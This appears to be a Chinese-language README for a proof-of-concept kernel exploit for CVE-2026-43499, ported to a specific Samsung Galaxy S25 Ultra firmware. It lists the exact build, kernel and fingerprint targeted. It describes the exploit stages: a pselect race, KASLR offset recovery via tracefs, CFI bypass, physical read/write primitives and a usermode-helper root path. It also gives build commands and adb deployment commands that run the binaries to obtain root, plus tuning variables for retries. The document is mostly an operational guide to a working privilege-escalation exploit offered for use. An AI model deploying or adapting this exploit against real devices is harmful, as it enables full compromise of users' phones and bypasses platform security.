CVE-2026-43499 PoC 针对 Galaxy S25 Ultra

针对韩国三星 Galaxy S25 Ultra 上 CVE-2026-43499 的设备特定概念验证。

支持的目标设备

Model: SM-S938N
Codename: pa3q
Android: 16 / API 36
Build: S938NKSUACZF1
Display ID: BP4A.251205.006.S938NKSUACZF1
Fingerprint: samsung/pa3qksx/pa3q:16/BP4A.251205.006/S938NKSUACZF1_OKRACZF1:user/release-keys
Kernel: 6.6.98-android15-8-pd6ff1cd-abogkiS938NKSUACZF1-4k
Architecture: arm64 / 4K pages

偏移量和结构布局仅对上述固件有效。

参考

此移植基于：

NebuSec/CyberMeowfia — IonStack/CVE-2026-43499/exploit
上游修订版本：b850d3bddc74c3328d5fbcc0568d21962b55d949

上游 Apache License 2.0 保留在 LICENSE 中。

移植变更

添加了 pa3q-S938NKSUACZF1 的偏移量和内核布局。
为此 Samsung 内核添加了基于 tracefs 的 KASLR 偏移恢复。
移植了 pselect 竞争、CFI/FOPS 阶段以及物理读/写原语。
添加了设备特定的 system_unbound_wq 用户模式辅助程序 root 路径。
添加了隔离的重试进程，并带有设备调优的 pselect 延迟序列。
成功后会保留回收的页面，以避免重用活跃的伪造对象。

构建

将 ANDROID_NDK_HOME 设置为 Android NDK r29 或兼容的工具链：

make -j8

输出：

build/cve-2026-43499
build/cve-2026-43499-root

部署与运行

adb push build/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"

该利用程序默认执行 16 次独立尝试，基本 pselect 延迟为 20,000 微秒。在收集时间数据时可覆盖这些值：

adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"

临时 root 会话和保留的分配在重启前有效。

如需一键安装和 KernelSU 支持，请使用 Root My Galaxy。

CVE-2026-43499-S25U

最受欢迎